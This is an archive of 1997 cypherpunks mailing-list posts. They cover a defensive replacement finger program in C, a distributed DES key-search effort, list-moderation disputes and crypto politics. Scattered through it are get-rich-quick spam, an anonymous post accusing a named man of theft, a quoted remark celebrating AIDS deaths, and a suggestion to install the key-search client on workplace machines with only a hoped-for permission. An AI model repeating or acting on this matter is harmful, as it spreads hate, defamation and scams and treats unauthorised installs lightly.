>{UDCM's source code is currently unavailable. PLEASE DO NOT REQUEST IT.}
>{UDCM's on-line help documentation has also been extensively modified.}
>{This advertisement has also been modified.}
>
>Hello,
>
>Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
>Engineering Technologies. I am sending you this message to let you know that
>DataET Research has recently initiated the distribution of UDCM, Universal
>Data Cryptography Module. UDCM implements a revolutionarily new, extremely
>advanced and sophisticated, digital data encryption algorithm named IMDMP,
>Integrated Mathematical Data Manipulation and Positioning.
>
>UDCM (the IMDMP algorithm)...
>
>o Is a royalty-free Windows DLL module featuring advanced cryptography.
>o Contains more than 150 procedures and functions.
>o Is a very cost-effective size of only 60 kilobytes.
>o Implements the IMDMP encryption algorithm.
>o Allows encryption keys as large as 2048 bits.
>o Includes 18 sub-algorithms.
>o Processes all forms of binary and ASCII files.
>o Allows multiple encryption layer levels.
>o Has absolutely no back-doors or magical keys.
>o Includes time and date locking features. 
>o Includes file specific unique encryption features.
>o Includes file authentication guard features.
>o Includes digital signaturing capabilities.
>o Implements the public key cryptosystem method of security.
>o Includes data importance and sensitivity stamping features.
>
>UDCM, being a Windows DLL module, can be accessed through programs developed
>with popular application and database programming languages and environments
>such as: C, C++, Visual Basic, PowerBuilder, Delphi, OOP Pascal, Turbo
>Pascal, dBase, Paradox, Access, Sybase, Oracle, etc. 
>
>DataET Research has released a shareware version of UDCM named UDCM V2.0.
>
>To download UDCM V2.0 for free, please go to:
>http://members.aol.com/dataetrsch/udcm.html.
>
>I hope you will consider applying UDCM in the software you develop. Thank-you
>very much for your time.
>
>Sincerely,
>
>Jeremy K.Yu-Ramos
>President
>DataET Research
>Data Engineering Technologies
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 24 Jan 1997 07:27:05 -0800 (PST)
To: peter.allan@aeat.co.uk (Peter M Allan)
Subject: Re: fingerd
In-Reply-To: <9701241227.AA11148@clare.risley.aeat.co.uk>
Message-ID: <199701241522.JAA13433@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Peter M Allan wrote:
> 
> These messages have been sent about fingerd.
> My preference for fiddling with remote fingers is to
> leave fingerd as supplied by the vendor (run by "nobody") and
> replace the finger program itself.  It can be made to recognise
> when it is being run by "nobody" and behave differently
> from when run by another user.
> 
> Source at the end of this file.  (Bashed out fairly quickly
> starting from a utmp-eraser I made for a luser who wouldn't
> tolerate wall messages from shutdown.)
> 
> I have (among other things) an extension to TCP-wrappers
> (a new hosts_access.c file), and a prog to find disk space wasted by duplicated files.  
> (mail me with Subject: "send goodies" for these.)
> /*  
> *  
> *  compile and test myfinger
> *  
> *  	cc  -C -o myfinger myfinger.c
> *  
> *  
> *  (assuming the standard finger is /usr/ucb/finger)
> *     cp /usr/ucb/finger /usr/ucb/finger.real
> *     cp myfinger /usr/ucb/finger
> *  
> *  
> *  (if using TCP wrapper reverse-fingers, make them NOT nobody,
> *   but another id such as nobody2.)
> *  
> *  I disclaim any disasters........
> *  
> */  
> 
> /*
>  *
>  *   my finger program - local only, to be less informative than /usr/ucb/finger
>  *   
>  */
> 
> 
> #undef _utmp_h
> #define TRUE  1
> #define FALSE 0
> #define FAKE 1
> #define WIPE 2
> #define UTMP "/etc/utmp"
> 
> 
> #include <stdio.h>
> #include <pwd.h>
> #include "utmp.h"
> #include <lastlog.h>
> 
> main(argc, argv, env)
> int  argc;
> char **argv;
> char **env;
> {
> 	int  i, listed;
> 	struct passwd *pwent;
> 
> 	if (argc < 1)
> 		exit(0);	/* beat sneaks */

argc is never less than one.

>          /*  If run by "nobody" (uid=65534) assume this is a remote finger */
>          /* otherwise run the standard finger command */
>          if (65534!=getuid()) {
>                        execv("/usr/ucb/finger.real", argv);
>                        /** if we get here exec failed, so we default to my finger  **/

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 24 Jan 1997 06:44:36 -0800 (PST)
To: Alan Bostick <abostick@netcom.com>
Subject: Re: THE NEW YORKER on the V-Chip
In-Reply-To: <3.0.1.32.19970124082356.0169ded8@panix.com>
Message-ID: <3.0.1.32.19970124094348.00756658@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:23 AM 1/24/97 -0500, Alan Bostick wrote:
>Gladwell makes an analogy between V-Chipped TV content and
>air-conditioned cars in the New York City subway system in summertime:
>" . . . we need air-conditioners on subway cars because air-conditioners
>on subway cars have made stations so hot that subway cars need to be
>air-conditioned."  

Great analogy except that it's wrong.  Subway tunnels were hot before the cars ever had air conditioning.  The traditional method of controlling the amount of power delivered to an electric traction motor was to run the juice through a resistor array.  As the motorman moved the controller up and down, the current would pass through fewer and more banks on the grid of resistors and the amount delivered to the motors would change.  Well you might guess that at 600 V DC and I don't know how many Watts, those resistor grids had to dump a lot of heat.  They were/are located on the tops or bottoms of cars and are quite apparent when the cars pass you on a winter morning.

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (fuck you)
Date: Fri, 24 Jan 1997 06:54:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970124.094351.21326.2.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Are their any H/ P/ V/ A/ C ers   on this list??




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 24 Jan 1997 01:50:52 -0800 (PST)
To: Kevin Stephenson <cts@deltanet.com>
Subject: Re: seeds of our own destruction
In-Reply-To: <32E72BCB.3CBA@deltanet.com>
Message-ID: <199701240950.CAA01462@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <32E72BCB.3CBA@deltanet.com>, on 01/23/97 
   at 01:13 AM, Kevin Stephenson <cts@deltanet.com> said:

+You wrote some very interesting articles. It is the UN.

        if you want a real scare, read the UN "world constitution" on
    human rights and privacy --their idea of a Bill of Rights.  It just
    happens that it is virtually word for word equivalent to the 
    mainland Chinese "rights"  -in other words: rights as long as they 
    are consistent with the aims of the state (UN) and the security 
    needs of the state at the given moment.

        ...and the UN is to be granted overall sovereignity by virtue 
    of the right to unilateraly tax its 'member' states, and not 
    necessarily in an equitable fashion.

        to put it in context, it is clearly the havenots reducing 
    everyone to the status of havenot; there will be no others. this, 
    of course, will eventually give way to tribal governments and the 
    cycle will start over after the population is reduced by its own 
    pollution and starvation to a new balance with nature.  disease, 
    more than starvation, will be the biggest killer.  men will be too 
    hungry, and too sick, to fight until it stabilizes.

        there will be exceptions, of course, but they will lack 
    sufficient power to extend their sphere of influence before they 
    are overrun by the mass, or destroyed by chemical and germ warfare 
    in the last gasp. 

        the meaning of the 144,000 becomes more clear...

+Read Revelations (if you haven't). 
    
        have more than several textbooks on it, and have taught classes 
    on Revelation. 

        however, I strongly believe the interpretations are still 
    'every man for himself' --presuming, of course, the propounder has 
    at least the prerequisite grounding and understanding in the 
    fundamental concepts, starting with John the Revelator, who 
    never died, and why portions of the book are sealed. 

        the best general reference on symbology, at least of what I 
    have seen so far:

        Opening the Seven Seals
            (The Visions of John the Revelator)

        Richard D. Draper
        Desert Books, Salt Lake City
        ISBN 087579-547-1, SKU 2142298     
    

+Maybe put some scriptures on cypherpunks.

    casting pearls before swine?

+Happy Armageddon.

    Frances Ford Coppola wasted the good title: 'Apocolypse Now'

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 24 Jan 1997 12:31:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Online Spending with Smart Cards and E.Cash to To US$3.5bn byyear 2000
Message-ID: <v03007800af0e7d36879e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Fri, 24 Jan 97 00:04:40 +0100
To: dcsb@ai.mit.edu
Subject: Online Spending with Smart Cards and E.Cash to To US$3.5bn by year
2000
Cc: nelson@media.mit.edu.geer@OpenMarket.com
From: a9050756@unet.univie.ac.at (Mike Alexander)
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: a9050756@unet.univie.ac.at (Mike Alexander)


>>[some Fed reserve guy's] argument for stored value cards is that the
>>business costs of handling cash are so substantial that there is room
>>for merchants to discount purchases when made by a means that does
>>not require that handling cost.
>
>Does anyone know of a source for information on the overhead of
>accepting various forms of payment? I assume the cost of cash is
>smaller than credit cards for purchases under, say, $500. Any
>estimates on smart cards? On pure digital cash (delivered via a
>browser)?
>
>I'm particularly interested in micropayments, but the larger question
>is interesting as well.

I've worked on this topic extensively in the past months (writing a doctoral
thesis on efficiency and risk in the payment system). I can assure you this:
cash in is still and will remain one of the most efficient payment
instruments.
This holds looking at it from a private as well as social cost perspective
with
sufficient empirical support.



Best Regards,

Michael Alexander
Doctoral Student at the University of Vienna

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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Fri, 24 Jan 1997 07:05:46 -0800 (PST)
To: attila@primenet.com
Subject: Re: seeds of our own destruction
In-Reply-To: <199701240950.CAA01462@infowest.com>
Message-ID: <19970124.100221.21326.4.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Very soon humans will not have any purpose in life but to replicate
themselves. At least before the computer came along we kept ourselves
busy. But now we are getting computers to do the jobs that make up life.
We already precluded the need for math a long time ago.But know their are
spell checkers and even applications that check your spelling as you
write. I just saw on "The Site" how computers will be in shoes, in milk
cartons and in door mats. The human bodies salinity will act as a
conductor for the binary information. You pick up the milk carton which
then tells your your shoes that its not fresh. Then when your foot
touches the door mat in Publix it tells your watch to beep and say "You
DONT Got Milk" Then their will be that the floor in your apartment tells
the coffee pot to make coffee because it found a low caffeine level in
your body. You can shake hands with someone  and automatically transmit
their business card to the hard drive in your shoe. The pay phone will
know exactly who to bill the second the receiver is touched. But what if
I bump into you, now I have your business card. What if I steal your
shoe! Oh but dont worry, all this information will be ENCRYPTED.As we all
know once something is encrypted its perfectly safe.Yeah right, And Bill
Gates still uses a 310 baud modem. If someone really needs to know what's
on your shoeputer then they will set their 1586 700Mhz (or whatever they
have by then) do do just that. So what if it takes 2 weeks or 2 months.
They will have every single aspect of your life from your medical records
to credit card numbers to phone number(will they even USE phone numbers
by then) to your shoe size. But wait theirs more. If you haven't been
crawling through a cave for the past few months you will see that Intel
boasts that their chips will be able to perform 2 gigaflops or 2 billion
calculations per second.Can you imagine that. If you did one mathematical
calculation per second it would take you 31 thousand years. It did it in
a second, don't you feel dumb. Now imagine had one of these bad boys and
your shoes. How long would it take? Two hours, three or maybe, if its
really dragging, a day.Thats just the good old steal it and use it
technique. I don't even want to go into how people could intercept
information, copy it, or make their own.Well , I think I caused you
enough cranial burden for today, so remember technology is like drugs,
there are always more and they keep getting more effective but you do not
need them. They need you.

								Jonathan
Leto




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Fri, 24 Jan 1997 07:11:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <199701240719.AAA18312@zifi.genetics.utah.edu>
Message-ID: <19970124.100807.21326.5.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Does any one know of any other good mailing Lists either with crypto or
anything underground




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 24 Jan 1997 10:16:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <199701241816.KAA02469@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:57 PM 1/23/97 -0800, Alan Bostick wrote:
>In the Jan. 20, 1997, issue of THE NEW YORKER, the "Comment", written by
>Malcolm Gladwell, makes a powerful arguement about the unintended
>consequences of the V-Chip, the programmable device to be included in
>next-generation television sets sold in the US that supposedly will
>allow parents to control their children's access to sex and violence on
>TV.
>
>Gladwell makes an analogy between V-Chipped TV content and
>air-conditioned cars in the New York City subway system in summertime:
>" . . . we need air-conditioners on subway cars because air-conditioners
>on subway cars have made stations so hot that subway cars need to be
>air-conditioned."  Similarly, he argues, "the V-chip is likely to
>increase the amount of sex and violence on television, not decrease it"
>because when viewers can block offensive programming, there is far less
>pressure on broadcasters and cable operators to avoid offending.
>
>This is just the sort of thing that John Young is given to scanning and
>putting up on his Web site or sending out to people who send him email
>with FUN_nie subject lines.  If I were him, I'd put it up.
>
>And, for the benefit of those people who don't think the V-Chip isn't in
>itself on-topic for cypherpunks, I might point out that Gladwell's
>argument applies equally well to mail filtering with procmail recipes --
>or Sandy's and John's list moderation experiment.  If the noise level on
>the unmoderated list jumps to even higher than we were seeing before
>the moderation began, that would provide observational support to
>Gladwell's argument.

You forgot about one thing, TV is one way.
The V-chip will have dueling results.  On the one hand, advertisers will
only pay for shows that will have a large viewership.  If that means that a
rather objectionable show, which would traditionally draw a large population
of pre-teens, can't be seen by its largest body of fans, it will probably be
cut.
On the other hand, TV execs won't have to worry about objections any longer
and thus can broadcast what they want, assuming that they can find a
decently large group of closet viewers.  (Not a misstype, I meant people who
are in the closet about their preferences, such as the minister with the
playboy channel.)

And TV is mostly one way.
This net is two way, many of the shock posts were put here to draw fire.
If the audience of these shock posts can not be reach to be outraged, the
vile spewer will first raise the stakes, spewing even more garbage and then,
finally, giving up.  Just like the old argument, don't encourage them, just
ignore them.
Plus, a number of reply posts to the garbage will never be written because
thier authors will have never seen the trash that they would have replied to.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "EXPRESS" <express@shell.liberty.com>
Date: Sun, 26 Jan 1997 18:05:10 -0800 (PST)
To: "Opportunities"<express@shell.liberty.com>
Subject: 300 Money Making Reports
Message-ID: <199701261250.EAA24457@shell.liberty.com>
MIME-Version: 1.0
Content-Type: text/plain


Please forgive me for this e-mail, but I felt I just had to let more
people know about this and get in on the ground floor!


 300 Money Making Reports

               AN OUTSTANDING MAIL ORDER OPPORTUNITY!

                         Make 1000% Profit


                 Sell 300 Popular Money Making Reports

Do you have a sincere desire to succeed in your own mail order
business ? If your answer is YES, then it will pay you to read on ...

If you are like most people wanting to "HIT IT BIG" in the exciting
mail order business, you are probably selling someone else's product -
using their advertising material.  Can money be made this way?  The
answer is yes - BUT - there are some vital ingredients necessary to
make really BIG MONEY in mail order.

FIRST:  You must sell a product that many people want.
SECOND:  It must be a hard to find product.
THIRD:  Your profit per sale must be VERY LARGE.

Well, we have found what is probably the most profitable line of
products that can be sold by mail - and the public demand is virtually
unlimited.  This product is

                       VALUABLE INFORMATION!

You can prove it for yourself.  Look through any magazine. 
Advertisements like "Wipe out debts Without bankruptcy","How to borrow
thousands of dollars interest free", or "Get a free Cadillac,
Mercedes, or any luxury car every year".  These people are making a
fortune selling this information because they have the know-how, plus
the information.

Having the INFORMATION to sell is the key.  You can buy many books on
how to sell
 information, but where to get the information to sell is always the
 problem in starting a profitable mail order business.

                  NOW THAT PROBLEM HAS BEEN SOLVED FOR YOU !

We have put together a collection of 300 of the hottest money-making
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 24 Jan 1997 08:56:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: PSS_sst
Message-ID: <1.5.4.32.19970124165119.006bf090@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


New Scientist of 25 January reviews the Bernstein's 
case against crypto export, US global seduction of
foreign goverrments to suppress domestic calls for
privacy, and therewith deftly alerts British leaders and 
readers to undermining the "secretive bureaucratic" 
Uncle Sam scam, says the deft-underminer cpunkers 
quoted.

-----

PSS_sst







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Fri, 24 Jan 1997 11:20:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199701241919.MAA22802@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May has been fired from Intel for stealing office supplies.

          o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
         /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Timothy C. May
         / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Fri, 24 Jan 1997 09:25:17 -0800 (PST)
To: ichudov@algebra.com
Subject: RE: Rejection policy of the Cypherpunks maiing list
Message-ID: <9700248541.AA854137494@smtplink.alis.ca>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com wrote> 
>Sandy also states rather plainly that crypto-relevance is not the
>criterion by which he moderates this list. I question this policy.
>
>I would like to hear your opinions as to whether such policies 
>satisfy the current readership.
>
> - Igor.
  
I am not enthused about the perceived need for moderation.
But neither was I enthused with the state of the list.
 
However, I will reserve judgement as to the success or failure of the experiment
for a while yet. The question for me is how much the moderation improves the S/N
ratio v.s. how much it impedes dialogue.
 
I expect Sandy to make mistakes, even by his own criterion. But anyone who will
publicly admit to shaving his eyebrows is probably not swayed by popular
opinion.
 
James







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: peter.allan@aeat.co.uk (Peter M Allan)
Date: Fri, 24 Jan 1997 04:26:56 -0800 (PST)
To: steve@miranova.com
Subject: Re: fingerd
Message-ID: <9701241227.AA11148@clare.risley.aeat.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Hi,


These messages have been sent about fingerd.
My preference for fiddling with remote fingers is to
leave fingerd as supplied by the vendor (run by "nobody") and
replace the finger program itself.  It can be made to recognise
when it is being run by "nobody" and behave differently
from when run by another user.

Source at the end of this file.  (Bashed out fairly quickly
starting from a utmp-eraser I made for a luser who wouldn't
tolerate wall messages from shutdown.)

I have (among other things) an extension to TCP-wrappers
(a new hosts_access.c file), and a prog to find disk space wasted by duplicated files.  
(mail me with Subject: "send goodies" for these.)

 -- Peter Allan   peter.allan@aeat.co.uk





Date: 23 Jan 1997 17:22:10 -0800
From: Steven L Baur <steve@miranova.com>
> cfingerd is not a safe program.  It must run as root, and has some big
> problems.

> On Tue, 17 Sep 1996, Administrador da Rede wrote:
> > I use the newest version of cfinger, setted to not allow general finger, just
> > specific ones. Does anyone knows how this person did that ? I hope I can
> > find out, otherwise, bye bye finger service.

> Badly.
> I have sent the author a letter, but never got any reply back (it's 3
> months later now!), so I just take the opportunity to warn the public
> against its use.



/*  
*  
*  compile and test myfinger
*  
*  	cc  -C -o myfinger myfinger.c
*  
*  
*  (assuming the standard finger is /usr/ucb/finger)
*     cp /usr/ucb/finger /usr/ucb/finger.real
*     cp myfinger /usr/ucb/finger
*  
*  
*  (if using TCP wrapper reverse-fingers, make them NOT nobody,
*   but another id such as nobody2.)
*  
*  I disclaim any disasters........
*  
*/  

/*
 *
 *   my finger program - local only, to be less informative than /usr/ucb/finger
 *   
 */


#undef _utmp_h
#define TRUE  1
#define FALSE 0
#define FAKE 1
#define WIPE 2
#define UTMP "/etc/utmp"


#include <stdio.h>
#include <pwd.h>
#include "utmp.h"
#include <lastlog.h>

main(argc, argv, env)
int  argc;
char **argv;
char **env;
{
	int  i, listed;
	struct passwd *pwent;

	if (argc < 1)
		exit(0);	/* beat sneaks */

         /*  If run by "nobody" (uid=65534) assume this is a remote finger */
         /* otherwise run the standard finger command */
         if (65534!=getuid()) {
                       execv("/usr/ucb/finger.real", argv);
                       /** if we get here exec failed, so we default to my finger  **/
         }


	printf("Login       Name          Where\n");


	listed = 1;
	while ((pwent = getpwent()) != NULL) {

		if (argc > 1) {
		/*
		 * if there are args, and  name is NOT one of them, we skip
		 * it
		 */
			listed = 0;
			for (i = 1; (!listed) && (i < argc); i++) {
				if (!strcmp(argv[i], pwent->pw_name))
					listed = 1;
			}
		}
		if (listed)
			info(pwent);
	}

}


info(pwent)
struct passwd *pwent;
{
	long lpos;
	FILE *fp;
	int  i;
	struct utmp *sp;
	struct utmp utmpentry;
        char *login,*gecos;
      
        login=pwent->pw_name;
        gecos=pwent->pw_gecos;


	sp = &utmpentry;

	if ((fp = fopen(UTMP, "r")) == NULL) {
		fprintf(stderr, "failed to open utmp for reading\n");
		exit(1);
	}


	i = fseek(fp, 0, 0);
	if (i) {
		puts("failed to fseek start of file");
		exit(2);
	}

	do {
/* get current pos in file using ftell */
		lpos = ftell(fp);

/* fread the struct */
		fread(sp, sizeof utmpentry, 1, fp);


		if (!feof(fp)) {
			if (!strcmp(login, sp->ut_name)) {
				if (!nonuser(utmpentry)) {
                                        utmpentry.ut_host[15]='\0';
					printf("%s\t%s\t%s\t%s\n",login,gecos,sp->ut_line,sp->ut_host);
				}
			}
		}



/* on error we close & exit */
		if (ferror(fp)) {
			fprintf(stderr, " file error! so failed to find our session in utmp\n");
			fclose(fp);
			exit(3);
		}

	} while (!feof(fp));



	fclose(fp);

}
/* end */




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brett Carswell <brettc@tritro.com.au>
Date: Thu, 23 Jan 1997 18:32:15 -0800 (PST)
To: "'attila@primenet.com>
Subject: RE: Just another government fuckover: New crypto regulations
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970124023144Z-72@nt09.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain




>-----Original Message-----
>From:	Toto [SMTP:toto@sk.sympatico.ca]
>Sent:	Friday, January 24, 1997 12:29 AM
>To:	Attila T. Hun
>Cc:	cypherpunks@toad.com
>Subject:	Re: Just another government fuckover: New crypto regulations
>
>Attila T. Hun wrote:
> 
>>         free speech, which is what we are talking about. supposedly
>>     absolute freedom of speech in America was in the Articles of
>>     Confederation and was a major point of the Declaration of
>>     Independence.  free speach was an "intention" of the Magna Carta.
>
>> ::>     books are an intellectual 'solution' to the problem. the real
>> ::>problem is the hardware. in order to negate governments and their
>> ::>virtually stated intentions of blocking our inalienable freedoms,
>> ::>particularly freedom of speach, we must be able to distribute
>> ::>universal crypto worldwide, and be able to improve it as the shadow
>> ::>governments of the various spook shows improve their ability to
>> ::>break our code.
>
>Dear Mr. Hun,
>  I see that your post was expunged from the cypherpunks-politically-
>correct-outgoing list.
>  I am assuming that it was as a result of linking crypto to free
>speech.
>Perhaps you need to fall more into line with the New List Order.
>
>Toto
>
>More likely 'grep dimitri '




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <ptrei@acm.org>
Date: Fri, 24 Jan 1997 09:44:42 -0800 (PST)
To: cryptography@c2.net
Subject: [DES] DES Key Recovery Project, Progress Report #7
Message-ID: <199701241741.JAA01398@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


DES Key Recovery Project, Progress Report #7
Friday, Jan 23 1997
Peter Trei

Next Tuesday morning, 9AM, RSA is scheduled to release 
the 'real' $10,000 DES challenge data. 

My software is in a state where it can be used for the
challenge, though there is room for improvement. 

It currently tests about 185,000 keys/sec on my 90MHz
machine. This translates to about 205,000 keys/sec on
a 100 MHz machine. I still have to replace my DES round,
which takes 25 clock cycles, with Svend Mikkelsen's, which
takes only 18. Since the DES rounds are well over 80% of
the work,  this should boost the speed to over 
250,000 keys/sec at 100 MHz. If I'm lucky, I'll perform
this conversion over the weekend.

I've sent out early betas to a few people for porting,
but have had no feedback yet.

I've approached several restricted FTP sites as possible
distribution sites, and have had some positive responses,
but nothing definitive yet. I'm being pretty strict in
my interpretation of EAR for this purpose.

In advance of the challenge, I'm willing to email copies
as a ~100k uuencoded zip file to people, but to do so, you must
comply with the following:

1. Send the request to ptrei@acm.org, NOT trei@process.com.
   I won't be able to read the latter for the next 10 days.

2. Include your 'true name' and residence address, as
   well as the email address to which it should be sent,
   .
3. A statement of your nationality. I'll mail it only
   to US Citizens, Canadian citizens, and US Green Card 
   holders, residing in the US or Canada.

4. A statement to the effect that you understand that this
   is restricted code, and that cannot be exported or 
   given to non-US/Canadian citizens

I'm going to hold this information in strict confidence, and
will surrender it only to a valid court order. It's similar
to what you have to go through to download the domestic
version of Netscape Navigator or PGP from MIT.

You are free to distribute the software further. If you've
complied with the requirements above, I believe that at that
point I've done more than due diligence under ITAR/EAR.

My software gets it's challenge data either from a text
file cut-and-pasted from the RSA page, or from internally
stored data. Tuesday night, I'll recompile the program with
the real challenge data, and redistribute.

My version runs on WinNT or Win95, on 486's and above. It's
set up as a console app, which can run in background. I don't
yet have a version for Win 3.1 or below 486, but may do in
the future.

The software is set up in such a way that it can be used
either on a standalone system, or in a LAN environment with
shared disks.  The latter has a slightly more complex setup, 
but will allow many machines to share one executable and
results file. 

I envisage people installing one copy on a shared disk in
their workplace, and then adding the appropriate commands
to the autoexec.bat file of every machine they can, so the 
program will start running whenever the machine is booted.
(I HOPE you get permission!).

The distribution includes both source and the Win32 executable.
The source includes both fast Intel assembler, and much slower
generic 'C'. There's nothing that's really Microsoft specific
in the code - it should be easy to port to other systems with
32 bit or better processors. I'm attempting to do a 'PGP style' 
distribution with a signed, nested zip file.

The signing key I'm using is available at
http://www.ziplink.net/users/trei/crypto.html
(I hope I've done this right).

I'm only going to send out signed archives. If you get one
where the signature fails, or one lacking a signature, I
repudiate it - and you should be suspicous of it.

I'll be trying to set up that URL as a page describing the
project, with info on other efforts, and FAQs. 

Once the challenge starts, I hope you'll all evangelize it
to your friends and acquaintences. I'd like to see 100,000
machines trying for the $10,000.

All next week I'm in the San Francisco area (I'm flying out in
a couple hours). I'll be attending the Verisign Partner's Day on
Monday, and I'll be at the RSA Data Security Conference Tuesday
through Friday. I'll be trying to read cypherpunks and coderpunks
at least once a day, along with checking mail to ptrei@acm.org.
I can't read cryptography@c2.net from an archive, so I will not
see it unless it cc's ptrei@acm.org (Perry, could you temporarily
subscribe ptrei@acm.org?)

Happy hunting!

Peter Trei
ptrei@acm.org

 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 24 Jan 1997 11:19:10 -0800 (PST)
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Sandy dumps Igor but allows KOTM
In-Reply-To: <199701241711.SAA28269@basement.replay.com>
Message-ID: <199701241914.NAA15177@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Anonymous wrote:
> Sandy Sandfort, our Leader, Moderator, Guidance Counselor, Censor,  and
> Speaker-to-Gilmour said:
> 
> "By the way, contrary to what Dimitri has alleged, I have posted
> every message from him in which he was able to restrain himself
> with regard to gratuitous insults and/or spam.  In other words,
> the set of Dimitri posts that have appeared on the moderated list
> is not the null set."
> 
> However, KOTM wrote:
> 
> "Anything?  My good friend TRRCJ3 reports from San Francisco that the
> city is much nicer now that so many homosexuals are 6 feet under.
> 
> "Thank God for AIDS."
> 
> (end quote from KOTM)
> 
> Nice to know Sandy is doing such an efficient job of moderating out the
> "flames," such as by kicking Igor's crypto-relevant article on denial of
> service attacks to the flame bucket while bending over backwards to appear
> to be "fair" to KOTM.

My article was not about denial of service technically, but rather
about using computers to set people up.

igor


> Face it, it's a bad idea. The Cypherpunks community is not the private
> sandbox of Gilmour and Sandfort, and we don't need Sandy's "guidance" to
> keep us from being straying sheep. The list may currently be hosted on
> Gilmour's computer, but having Sandy decide what's right for us to read is
> inconsistent with Cypherpunks ideals. 
> 
> GenX
> 
> 
> --
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biz25@prodigy.net
Date: Fri, 24 Jan 1997 11:03:32 -0800 (PST)
Subject: Just drop you a note
Message-ID: <199701241827.NAA144000@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Just thought I would drop you a note letting you know of an
opportunity that I came across lately.

I have been amazed at the success I have had with this product.
Please email me for URL (more details) if you are interested. 
Type "URL" in the subject line.

Regards
Sonia





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 24 Jan 1997 11:27:50 -0800 (PST)
To: shamrock@netcom.com
Subject: Re: Encrypting ZIP disks
Message-ID: <3.0.32.19970124132442.006b1fc4@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


I'm playing with SecureDrive; the problem is not with using it
with a Zip disk so much as it is trying to get it to play nice
with Windows 95.

ObCrypto: Check this out (from the readme.txt that comes on
every Zip disk before you delete it)

7.  Secure sensitive files.
     To keep sensitive or confidential information safe, store it
     on a Zip disk and use your Zip Tools software to assign a
     password that must be used in order to read from or write to
     the disk.  At work, you can protect sensitive information
     such as personnel files, company directories, and product
     plans and designs.  At home, you can secure personal
     information such as tax records, budgets, and computerized
     checkbooks.

Iomega hasn't been willing to tell me how the password is stored,
so this looks like a big boiling pot of snake oil.  Anyone out
